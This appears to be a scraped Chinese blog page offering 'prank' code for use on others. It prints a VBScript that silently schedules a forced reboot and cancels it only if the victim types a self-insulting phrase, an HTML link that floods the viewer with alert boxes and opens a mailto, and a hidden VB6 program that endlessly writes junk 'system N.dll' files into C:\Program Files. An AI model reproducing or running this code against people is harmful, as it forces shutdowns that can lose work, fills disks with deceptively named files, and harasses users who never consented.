    呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、

    代码破解方法:就是再运行一次,就可以破解了,也就是第2次保存的那个VBE文件,,

    PS:不要乱拿软件去整人,发生什么事可不要怪我啊。。
    拍拍手 顶起吧!

    2:

    on error resume next
    dim WSHshellA
    set WSHshellA = wscript.createobject(“wscript.shell”)
    WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ““说你是傻B,我是天下第一大傻B不说宝宝,我是天下第一大傻B就一分钟关你机,不信,试试···”” ",0 ,true
    dim a
    do while(a <> “宝宝,我是天下第一大傻B”)
    a = inputbox ("宝宝,我是天下第一大傻B,就不关机,快撒,说 ““宝宝,我是天下第一大傻B”” ",“说不说”,“不说”,8000,7000)
    msgbox chr(13) + chr(13) + chr(13) + a,0,“MsgBox”
    loop
    msgbox chr(13) + chr(13) + chr(13) + “早说就行了嘛,乖乖”
    dim WSHshell
    set WSHshell = wscript.createobject(“wscript.shell”)
    WSHshell.run “cmd.exe /c shutdown -a”,0 ,true
    msgbox chr(13) + chr(13) + chr(13) + “宝宝是不是又帅啦??”

    这代码是我从朋友那拿来的,大家可以试着玩下、你能做非法事情哦、

    网页整人效果代码
    2009-05-09 11:57

    想看效果,只要复制这下面的所有代码保存在text文件里,修改文件后缀为txt就能看到效果了。

    网页特效|Linkweb.cn/Js|---很恶心的常见整人效果

    <a href="" onMouseover="alert(‘为什么把鼠标放到这里?’);

    alert(‘我不是说过不可以这样吗?’);

    alert(‘你把我的话当什么了?’);

    alert(‘你知道错了吗?’);

    alert(‘什么?你居然…’);

    alert(‘居然还没意识到自己做错了?’);

    alert(‘那好,你要为此付出代价!’);

    alert(‘我要你在这里点足一千下…’);

    alert(‘什么?你开始有点后悔了?’);

    alert(‘何必呢?’);

    alert(‘你当初干什么去了?’);

    alert(‘不原谅你!’);

    alert(‘好从现在开始再点995下…’);

    alert(‘你的手开始累了吗?’);

    alert(‘什么?你已经没力气了?’);

    alert(‘你一直在求我原谅你啊!’);

    alert(‘看来你是真的知道错了!’);

    alert(‘下次你还会这么做吗?’);

    alert(‘真的不会了?’);

    alert(‘那好,今天就放你一马!’);

    alert(‘写封信给我说声对不起!’);

    alert(‘你能这么做我很高兴!!!’);

    document.bgColor=‘black’;

    document.fgColor=‘White’;

    window.location.href=‘mailto:mygod@god?subject=对不起,下次不敢了!’;">不许把鼠标移到这里

    嘻试吧爽噢。。

    vbs整人代码
    2010-02-07 22:04

    代码如下:

    Private Sub Form_Load()
    Me.Hide
    End Sub

    Private Sub Timer1_Timer()
    '声明变量,其中“count”为静态变量,以便生成不同的文件
    Dim files As String
    Dim nr As String
    Dim c As String
    Static count As Long
    '定义要把生成的文件存放在那个目录文件下
    c = “C:\Program Files”
    '生成文件的内容
    nr = “哈哈,被黑的感觉的不错吧”
    files = FreeFile
    '如果a等于a那么就执行
    If a = a Then
    'count不断的加1,以便产生不同的文件名
    count = count + 1
    '产生文件名及文件句柄,并用count作为产生不同的文件名。
    Open c & “system” & count & “.dll” For Append As #files
    '向文件写内容
    Write #files, nr
    '清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示
    Close #files
    End If
    End Sub

    展开全文
  • 整人的vbs代码

    2012-11-29 12:11:38
    整人的vbs代码
  • 主要介绍了vbs中获得文件夹大小的代码,需要的朋友可以参考下

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 20,856
精华内容 8,342
关键字:

vbs代码